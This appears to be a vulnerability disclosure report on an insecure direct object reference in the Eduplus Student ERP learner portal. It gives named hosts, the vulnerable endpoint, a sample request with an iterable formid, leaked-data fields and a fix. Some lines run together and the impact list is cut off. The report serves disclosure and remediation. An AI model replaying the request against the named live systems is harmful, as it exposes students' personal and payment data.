
Detailed vulnerability research report on an IDOR in Eduplus Student ERP, including technical analysis, PoC, impact assessment, and remediation recommendations.
Researcher: Vinay Sharma
This report details a high-severity security vulnerability identified in the Eduplus Student ERP platform, specifically within the student learner portal (learnerapi.pceterp.in). The application suffers from a Universal Insecure Direct Object Reference (IDOR) on the exam form submission endpoint, allowing any authenticated user (student) to retrieve the sensitive personal and financial data of any other student by manipulating form identifiers.
vulnerabilities allows for large-scale data harvesting of student records, including Personally Identifiable Information (PII) and detailed financial transaction audit trails.
learnerapi.pceterp.in, learner.zealerp.in, learner.despu.edu.in etcPOST /ExamForm/viewSubmitExamFormCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)The vulnerability resides in the viewSubmitExamForm endpoint. The server relies on two client-supplied parameters to identify the record to be retrieved:
{"formid": "XXXXX"}Router-Path: /view-pcu-exam-form/XXXXXformid. By iterating through numerical IDs, an attacker can access the records of other students.A standard POST request to the vulnerable endpoint with a modified formid yields sensitive student data.
Request:
POST /ExamForm/viewSubmitExamForm HTTP/2
Host: learnerapi.pceterp.in
Content-Type: application/json
Router-Path: /view-pcu-exam-form/28984
... (Authenticated Headers) ...
{"formid":"28984"}
Response (Summary of Leaked Data):
{
"status": "200",
"examFormname": "B.Tech - Sem VI - Regular",
"receipt_no": "REC/2023/54321",
"feespaiddate": "2023-10-15",
"ispaymentdone": {
"username": "[email protected]",
"received_amount": "1500.0",
"updation_ip_address": "103.x.x.x",
"erp_transaction_id": "ERP_998877",
"bank_transaction_id": "BANK_ABC123",
"paymentgateway_transaction_id": "PG_XYZ789",
"learner": {
"id": "12345"
}
}
}





Uploading Idorpoc.mp4…
The successful exploitation of this vulnerability allows for:
formid requested belongs to the learnerid associated with the active session. Never trust the formid or Router-Path parameters without validation against the authenticated session token.